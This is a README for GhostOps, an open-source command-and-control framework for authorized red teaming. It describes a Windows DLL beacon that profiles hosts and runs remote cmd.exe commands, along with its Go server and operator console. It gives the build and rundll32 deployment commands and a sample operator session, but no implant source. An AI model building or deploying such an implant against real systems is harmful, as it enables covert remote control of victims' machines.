4w4647/GhostOps
GitHub: 4w4647/GhostOps
一个围绕 Windows 植入 DLL 与 Go 操作员堆栈构建的轻量级命令与控制框架,用于授权红队与安全研究。
Stars: 1 | Forks: 0
# GhostOps
一个用于授权红队行动和安全研究的轻量级命令与控制(C2)框架。
## 概述
GhostOps 是一个围绕 Windows 植入 DLL 和基于 Go 的操作员堆栈构建的 C2 框架。它旨在具有可读性、可扩展性,并作为理解现代 C2 基础设施如何从头到尾协同工作的坚实基础。
| 组件 | 语言 | 输出 | 角色 |
|------|------|------|------|
| `beacon/` | C | `beacon.dll` | 部署在目标主机上的植入 |
| `server/` | Go | `server` | C2 监听器、Beacon 存储与操作员 API |
| `client/` | Go | `client` | 操作员 REPL |
## 架构
```
Operator
│
│ REPL
▼
┌──────────┐ HTTP (9090) ┌──────────────────────────────────┐
│ Client │ ◄────────────────► │ Server │
└──────────┘ │ ├── C2 listener :8080 │
│ │ POST /checkin │
│ │ GET /tasks/ │
│ │ POST /result │
│ └── Operator API :9090 │
│ GET /beacons │
│ GET /beacons/ │
│ POST /task │
│ GET /results/ │
└──────────────┬───────────────────┘
│ HTTP (8080)
▼
┌──────────────────────────────────┐
│ Beacon DLL (target host) │
│ ├── main.c DLL entry │
│ ├── context.c host profiling │
│ ├── checkin.c C2 check-in │
│ ├── loop.c sleep / poll │
│ ├── tasks.c task dispatch │
│ └── shell.c cmd.exe pipe │
└──────────────────────────────────┘
```
服务器暴露两个独立的监听器:一个用于 **C2 通信** 的 `0.0.0.0:8080` 端口,以及一个仅限本地的 **操作员 API** `127.0.0.1:9090`(用于客户端 REPL)。
## 功能
### Beacon 植入
- 通过 `rundll32.exe beacon.dll,BeaconMain` 或任意标准 DLL 加载器加载
- 可配置的睡眠间隔(支持百分比抖动,默认:`5000ms / 10%`)
- 完整的主机信息收集:
- 主机名、用户名、域、域加入状态
- 操作系统版本与构建号
- 进程名、PID、PPID、架构与会话 ID
- 完整性级别与提升状态
- 所有网络适配器的 IP 与 MAC 地址
- 通过 `api.ipify.org` 获取外部 IP
- C2 主机与端口在编译时硬编码——不依赖磁盘上的配置文件
### 任务循环
- Beacon 在每次睡眠轮询时发起 `GET /tasks/` 请求
- 服务器原子化地出队待处理任务,并以 JSON 数组形式返回
- 任务执行完成后,结果通过 `POST /result` 提交,随后进入下一次睡眠
### Shell 命令执行
- 任务类型 `shell`:执行 `cmd.exe /c `,并通过匿名管道捕获标准输出与标准错误
- 每次任务最多返回 64 KB 的输出
### 服务器
- 双监听器架构,配备独立的请求多路复用器
- 内存中的 Beacon 存储,支持最后活跃时间记录与过期检测(`> 3× sleep_ms`)
- 每个 Beacon 独立的任务队列与结果历史
- 结构化日志记录,涵盖检查点、任务分发与结果提交
### 操作员客户端
- 上下文感知的交互式 REPL
- `beacons`:以表格形式展示所有会话及其活跃状态、完整性级别与操作系统信息
- `use `:选择当前活跃会话
- `info`:展示选定会话的完整信息(身份、系统、进程、网络等)
- `shell `:提交一条 Shell 命令,并在下次检查时获取输出
- `tasks`:显示当前会话的所有已完成任务结果
## 先决条件
### Beacon(跨平台编译)
```
# Debian / Ubuntu
sudo apt install mingw-w64
```
### 服务器与客户端(需要 Go 1.21+)
```
# https://go.dev/dl/
```
## 构建
### 服务器与客户端
```
make
```
构建产物:`build/client`、`build/server`
### Beacon DLL
Beacon 必须显式指定 C2 地址进行编译,以防止意外打包指向 `127.0.0.1` 的载荷。
```
make beacon BEACON_HOST= BEACON_PORT=
# Examples
make beacon BEACON_HOST=10.10.14.5 BEACON_PORT=443
make beacon BEACON_HOST=192.168.1.10 BEACON_PORT=8080
```
构建产物:`build/beacon.dll`
### 清理并重新构建
```
make re
```
## 部署 Beacon
```
rundll32.exe beacon.dll,BeaconMain
```
执行时,Beacon 将收集主机上下文,执行一次检查点(check-in),并进入睡眠-轮询循环。
## 操作员工作流
```
$ ./server
[*] C2 listener → 0.0.0.0:8080
[*] Operator API → 127.0.0.1:9090
```
```
$ ./client
GhostOps C2
GhostOps > beacons
ID USER HOSTNAME PID PROCESS ARCH INTEGRITY EXTERNAL IP LAST SEEN OS STATUS
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
3735928559 CORP\j.smith DESKTOP-ABC123 4812 rundll32.exe x64 Medium 203.0.113.42 3s ago Win11 24H2 alive
GhostOps > use 3735928559
[*] selected DESKTOP-ABC123 (203.0.113.42)
GhostOps [DESKTOP-ABC123] > shell whoami /all
[+] queued shell task a1b2c3d4 — output on next check-in
GhostOps [DESKTOP-ABC123] > tasks
── task a1b2c3d4 [2026-04-18T22:25:01Z]
USER INFORMATION
----------------
User Name SID
CORP\j.smith S-1-5-21-...
```
## 项目结构
```
.
├── beacon/
│ ├── include/
│ │ └── beacon.h # Shared types and declarations
│ └── src/
│ ├── main.c # DLL entry point
│ ├── context.c # Host profiling
│ ├── checkin.c # HTTP check-in
│ ├── loop.c # Sleep / poll loop
│ ├── tasks.c # Task polling, JSON parsing, dispatch
│ └── shell.c # cmd.exe pipe execution
│
├── client/
│ ├── main.go
│ └── internal/
│ ├── display/ # Terminal colour and table helpers
│ ├── models/ # Beacon and task data models
│ └── repl/ # REPL loop and command handlers
│
├── server/
│ ├── main.go # Dual-listener setup
│ ├── handlers/
│ │ ├── c2.go # /checkin /tasks/ /result
│ │ └── operator.go # /beacons /task /results/
│ └── store/
│ └── store.go # Beacon store, task queues, result history
│
├── build/ # Compiled artifacts (git-ignored)
├── Makefile
└── README.md
```
## Beacon 使用的 Windows 库
| 库 | 用途 |
|----|------|
| `winhttp` | HTTP 通信与任务轮询 |
| `iphlpapi` | 网络适配器枚举 |
| `netapi32` | 域与网络信息获取 |
| `bcrypt` | Beacon ID 生成(加密安全随机数) |
## 已知限制
GhostOps 专为实验室环境和授权控制场景设计。以下功能未实现:
- 加密的 C2 流量(TLS / HTTPS)
- 睡眠混淆或堆栈欺骗
- AMSI / ETW 篡改
- EDR 无 Hook
- 纯内存阶段(in-memory staging)
- 域名前置(Domain Fronting)或可变 HTTP 特征
- 进程注入或迁移
在成熟的 EDR 或 SOC 环境中进行检测是预期的行为。
标签:Beacon, C2服务器, C2框架, EVTX分析, Go语言, HTTP通信, REPL, 命令与控制, 命令执行, 安全学习资源, 客户端服务器架构, 开源安全工具, 操作员控制台, 数据展示, 日志审计, 植入体, 植入式DLL, 横向移动, 程序破解, 红队, 编程规范, 网络安全, 逆向工程平台, 隐私保护, 隐蔽通信